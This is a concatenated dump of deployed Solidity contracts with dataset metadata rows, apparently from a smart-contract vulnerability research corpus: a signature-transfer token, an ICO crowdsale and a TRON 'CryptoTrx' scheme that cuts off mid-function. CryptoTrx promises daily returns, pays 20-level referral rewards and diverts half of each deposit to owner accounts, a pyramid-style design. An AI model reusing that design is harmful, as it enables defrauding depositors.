uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => mapping(uint => bool)) public usedSigIds;
address public tokenDistributor;
address public rescueAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier rescueAccountOnly {require(msg.sender == rescueAccount); _;}
modifier tokenDistributionPeriodOnly {require(tokenDistributor == msg.sender); _;}
enum sigStandard { typed, personal, stringHex }
enum sigDestination { transfer, approve, approveAndCall, transferFrom }
bytes constant public ethSignedMessagePrefix = "\x19Ethereum Signed Message:\n";
bytes32 constant public sigDestinationTransfer = keccak256("address Token Contract Address",
"address Sender's Address",
"address Recipient's Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"address Account which Receives Fee",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID");
bytes32 constant public sigDestinationTransferFrom = keccak256("address Token Contract Address",
"address Address Approved for Withdraw",
"address Account to Withdraw From",
"address Withdrawal Recipient Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"address Account which Receives Fee",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID");
bytes32 constant public sigDestinationApprove = keccak256("address Token Contract Address",
"address Withdrawal Approval Address",
"address Withdrawal Recipient Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"address Account which Receives Fee",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID");
bytes32 constant public sigDestinationApproveAndCall = keccak256("address Token Contract Address",
"address Withdrawal Approval Address",
"address Withdrawal Recipient Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"bytes Data to Transfer",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"address Account which Receives Fee",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID");
constructor (string tokenName, string tokenSymbol) public {
name = tokenName;
symbol = tokenSymbol;
rescueAccount = tokenDistributor = msg.sender;
}
function internalTransfer (address from, address to, uint value) internal {
require(to != 0x0);
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function internalDoubleTransfer (address from, address to1, uint value1, address to2, uint value2) internal {
require(to1 != 0x0 && to2 != 0x0);
balanceOf[from] = balanceOf[from].sub(value1.add(value2));
balanceOf[to1] = balanceOf[to1].add(value1);
emit Transfer(from, to1, value1);
if (value2 > 0) {
balanceOf[to2] = balanceOf[to2].add(value2);
emit Transfer(from, to2, value2);
}
}
function requireSignature (bytes32 data,
address signer,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd,
sigDestination sigDest) internal {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
require(block.timestamp <= deadline && !usedSigIds[signer][sigId]);
if (sigStd == sigStandard.typed) {
require(signer == ecrecover(keccak256(sigDest == sigDestination.transfer
? sigDestinationTransfer
: sigDest == sigDestination.approve
? sigDestinationApprove
: sigDest == sigDestination.approveAndCall
? sigDestinationApproveAndCall
: sigDestinationTransferFrom,
data),
v, r, s));
} else if (sigStd == sigStandard.personal) {
require(signer == ecrecover(keccak256(ethSignedMessagePrefix, "32", data), v, r, s)
||
signer == ecrecover(keccak256(ethSignedMessagePrefix, "\x20", data), v, r, s));
} else {
require(signer == ecrecover(keccak256(ethSignedMessagePrefix, "64", hexToString(data)), v, r, s)
||
signer == ecrecover(keccak256(ethSignedMessagePrefix, "\x40", hexToString(data)), v, r, s));
}
usedSigIds[signer][sigId] = true;
}
function hexToString (bytes32 sig) internal pure returns (bytes) {
bytes memory str = new bytes(64);
for (uint8 i = 0; i < 32; ++i) {
str[2 * i] = byte((uint8(sig[i]) / 16 < 10 ? 48 : 87) + uint8(sig[i]) / 16);
str[2 * i + 1] = byte((uint8(sig[i]) % 16 < 10 ? 48 : 87) + (uint8(sig[i]) % 16));
}
return str;
}
function transfer (address to, uint256 value) public returns (bool) {
internalTransfer(msg.sender, to, value);
return true;
}
function transferViaSignature (address from,
address to,
uint256 value,
uint256 fee,
address feeRecipient,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd) external returns (bool) {
requireSignature(keccak256(address(this), from, to, value, fee, feeRecipient, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.transfer);
internalDoubleTransfer(from, to, value, feeRecipient, fee);
return true;
}
function approve (address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveViaSignature (address from,
address spender,
uint256 value,
uint256 fee,
address feeRecipient,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd) external returns (bool) {
requireSignature(keccak256(address(this), from, spender, value, fee, feeRecipient, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.approve);
allowance[from][spender] = value;
emit Approval(from, spender, value);
internalTransfer(from, feeRecipient, fee);
return true;
}
function transferFrom (address from, address to, uint256 value) public returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
internalTransfer(from, to, value);
return true;
}
function transferFromViaSignature (address signer,
address from,
address to,
uint256 value,
uint256 fee,
address feeRecipient,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd) external returns (bool) {
requireSignature(keccak256(address(this), from, to, value, fee, feeRecipient, deadline, sigId),
signer, deadline, sigId, sig, sigStd, sigDestination.transferFrom);
allowance[from][signer] = allowance[from][signer].sub(value);
internalDoubleTransfer(from, to, value.sub(fee), feeRecipient, fee);
return true;
}
function approveAndCall (address spender, uint256 value, bytes extraData) public returns (bool) {
approve(spender, value);
tokenRecipient(spender).receiveApproval(msg.sender, value, this, extraData);
return true;
}
function approveAndCallViaSignature (address from,
address spender,
uint256 value,
bytes extraData,
uint256 fee,
address feeRecipient,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd) external returns (bool) {
requireSignature(keccak256(address(this), from, spender, value, extraData, fee, feeRecipient, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.approveAndCall);
allowance[from][spender] = value;
emit Approval(from, spender, value);
tokenRecipient(spender).receiveApproval(from, value, this, extraData);
internalTransfer(from, feeRecipient, fee);
return true;
}
function multiMint (address[] recipients, uint256[] amounts) external tokenDistributionPeriodOnly {
require(recipients.length == amounts.length);
uint total = 0;
for (uint i = 0; i < recipients.length; ++i) {
balanceOf[recipients[i]] = balanceOf[recipients[i]].add(amounts[i]);
total = total.add(amounts[i]);
emit Transfer(0x0, recipients[i], amounts[i]);
}
totalSupply = totalSupply.add(total);
}
function lastMint () external tokenDistributionPeriodOnly {
require(totalSupply > 0);
uint256 remaining = totalSupply.mul(40).div(60);
uint256 fractionalPart = remaining.add(totalSupply) % (uint256(10) ** decimals);
remaining = remaining.sub(fractionalPart);
balanceOf[tokenDistributor] = balanceOf[tokenDistributor].add(remaining);
emit Transfer(0x0, tokenDistributor, remaining);
totalSupply = totalSupply.add(remaining);
tokenDistributor = 0x0;
}
function rescueLostTokens (ERC20CompatibleToken tokenContract, uint256 value) external rescueAccountOnly {
tokenContract.transfer(rescueAccount, value);
}
function changeRescueAccount (address newRescueAccount) external rescueAccountOnly {
rescueAccount = newRescueAccount;
}
}
| 166,179 | 10,510 |
6f0eb6b012d77dff3f7f617f4428dec180b1daf1514b38e8fe5928c4d359f9e4
| 12,067 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xf21edc87a7c56355802d78009a1498be090f7840.sol
| 2,431 | 9,917 |
pragma solidity 0.4.23;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
require(owner == msg.sender);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AllstocksCrowdsale is Owned {
using SafeMath for uint256;
// The token being sold
//ERC20Interface public token;
address public token;
// Address where funds are collected
address public ethFundDeposit;
// How many token units a buyer gets per wei // starts with 625 Allstocks tokens per 1 ETH
uint256 public tokenExchangeRate = 625;
// 25m hard cap
uint256 public tokenCreationCap = 25 * (10**6) * 10**18; // 25m maximum;
//2.5m softcap
uint256 public tokenCreationMin = 25 * (10**5) * 10**18; // 2.5m minimum
// Amount of wei raised
uint256 public _raised = 0;
// switched to true in after setup
bool public isActive = false;
//start time
uint256 public fundingStartTime = 0;
//end time
uint256 public fundingEndTime = 0;
// switched to true in operational state
bool public isFinalized = false;
//refund list - will hold a list of all contributers
mapping(address => uint256) public refunds;
event TokenAllocated(address indexed allocator, address indexed beneficiary, uint256 amount);
event LogRefund(address indexed _to, uint256 _value);
constructor() public {
tokenExchangeRate = 625;
}
function setup (uint256 _fundingStartTime, uint256 _fundingEndTime, address _token) onlyOwner external {
require (isActive == false);
require (isFinalized == false);
require (msg.sender == owner); // locks finalize to the ultimate ETH owner
require(_fundingStartTime > 0);
require(_fundingEndTime > 0 && _fundingEndTime > _fundingStartTime);
require(_token != address(0));
isFinalized = false; // controls pre through crowdsale state
isActive = true; // set sale status to be true
ethFundDeposit = owner; // set ETH wallet owner
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
//set token
token = _token;
}
/// @dev send funding to safe wallet if minimum is reached
function vaultFunds() public onlyOwner {
require(msg.sender == owner); // Allstocks double chack
require(_raised >= tokenCreationMin); // have to sell minimum to move to operational
ethFundDeposit.transfer(address(this).balance); // send the eth to Allstocks
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender, msg.value);
}
function buyTokens(address _beneficiary, uint256 _value) internal {
_preValidatePurchase(_beneficiary, _value);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(_value);
// update state
uint256 checkedSupply = _raised.add(tokens);
//check that we are not over cap
require(checkedSupply <= tokenCreationCap);
_raised = checkedSupply;
bool mined = ERC20Interface(token).mint(_beneficiary, tokens);
require(mined);
//add sent eth to refunds list
refunds[_beneficiary] = _value.add(refunds[_beneficiary]); // safeAdd
emit TokenAllocated(this, _beneficiary, tokens); // log it
//forward funds to deposite only in minimum was reached
if(_raised >= tokenCreationMin) {
_forwardFunds();
}
}
// @dev method for manageing bonus phases
function setRate(uint256 _value) external onlyOwner {
require (isActive == true);
require(msg.sender == owner); // Allstocks double check owner
// Range is set between 500 to 625, based on the bonus program stated in whitepaper.
// Upper range is set to 1500 (x3 times margin based on ETH price) .
require (_value >= 500 && _value <= 1500);
tokenExchangeRate = _value;
}
// @dev method for allocate tokens to beneficiary account
function allocate(address _beneficiary, uint256 _value) public onlyOwner returns (bool success) {
require (isActive == true); // sale have to be active
require (_value > 0); // value must be greater then 0
require (msg.sender == owner); // Allstocks double chack
require(_beneficiary != address(0)); // none empty address
uint256 checkedSupply = _raised.add(_value);
require(checkedSupply <= tokenCreationCap); //check that we dont over cap
_raised = checkedSupply;
bool sent = ERC20Interface(token).mint(_beneficiary, _value); // mint using ERC20 interface
require(sent);
emit TokenAllocated(this, _beneficiary, _value); // log it
return true;
}
//claim back token ownership
function transferTokenOwnership(address _newTokenOwner) public onlyOwner {
require(_newTokenOwner != address(0));
require(owner == msg.sender);
Owned(token).transferOwnership(_newTokenOwner);
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
require (isFinalized == false); // prevents refund if operational
require (isActive == true); // only if sale is active
require (now > fundingEndTime); // prevents refund until sale period is over
require(_raised < tokenCreationMin); // no refunds if we sold enough
require(msg.sender != owner); // Allstocks not entitled to a refund
//get contribution amount in eth
uint256 ethValRefund = refunds[msg.sender];
//refund should be greater then zero
require(ethValRefund > 0);
//zero sender refund balance
refunds[msg.sender] = 0;
//check user balance
uint256 allstocksVal = ERC20Interface(token).balanceOf(msg.sender);
_raised = _raised.sub(allstocksVal); // extra safe
//send eth back to user
msg.sender.transfer(ethValRefund); // if you're using a contract; make sure it works with .send gas limits
emit LogRefund(msg.sender, ethValRefund); // log it
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
require (isFinalized == false);
require(msg.sender == owner); // Allstocks double chack
require(_raised >= tokenCreationMin); // have to sell minimum to move to operational
require(_raised > 0);
if (now < fundingEndTime) { //if try to close before end time, check that we reach max cap
require(_raised >= tokenCreationCap);
}
else
require(now >= fundingEndTime); //allow finilize only after time ends
//transfer token ownership back to original owner
transferTokenOwnership(owner);
// move to operational
isFinalized = true;
vaultFunds(); // send the eth to Allstocks
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) view internal {
require(now >= fundingStartTime);
require(now < fundingEndTime);
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(tokenExchangeRate);
}
function _forwardFunds() internal {
ethFundDeposit.transfer(msg.value);
}
}
| 134,485 | 10,511 |
a3e56c4c39619bba04b5f4b423bb5739a7b9c6003296a2cffaeb1c7ee2bedfeb
| 20,542 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRf7Ht4RbrXKhT2nVwWmKKvrYMiLmBepeT_CryptoTrx.sol
| 5,441 | 19,352 |
//SourceUnit: new_bank1.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) levelRefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CryptoTrx is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 200; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 300;
uint256 private constant REFERENCE_RATE = 330;
mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(10,320*60*60*24,10)); //320 days
REFERENCE_LEVEL_RATE[1]=120;
REFERENCE_LEVEL_RATE[2]=50;
REFERENCE_LEVEL_RATE[3]=30;
REFERENCE_LEVEL_RATE[4]=20;
REFERENCE_LEVEL_RATE[5]=10;
REFERENCE_LEVEL_RATE[6]=10;
REFERENCE_LEVEL_RATE[7]=10;
REFERENCE_LEVEL_RATE[8]=10;
REFERENCE_LEVEL_RATE[9]=10;
REFERENCE_LEVEL_RATE[10]=10;
REFERENCE_LEVEL_RATE[11]=5;
REFERENCE_LEVEL_RATE[12]=5;
REFERENCE_LEVEL_RATE[13]=5;
REFERENCE_LEVEL_RATE[14]=5;
REFERENCE_LEVEL_RATE[15]=5;
REFERENCE_LEVEL_RATE[16]=5;
REFERENCE_LEVEL_RATE[17]=5;
REFERENCE_LEVEL_RATE[18]=5;
REFERENCE_LEVEL_RATE[19]=5;
REFERENCE_LEVEL_RATE[20]=5;
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
uint256[] memory RefCount = new uint256[](20);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
for(uint256 j = 0; j < 20; j++)
{
RefCount[j]= investor.levelRefCount[j];
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
uint256 ln =0;
uint256 _ref1 = _referrerCode;
while (_referrerCode >= REFERRER_CODE && ln<20)
{
uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1);
ln++;
_ref1 = uid2Investor[_ref1].referrer;
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
// uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000);
// developerAccount_.transfer(developerPercentage);
// uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
//marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
uint ln=0;
while (_ref1 != 0 && ln<20) {
_refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[ln+1])).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
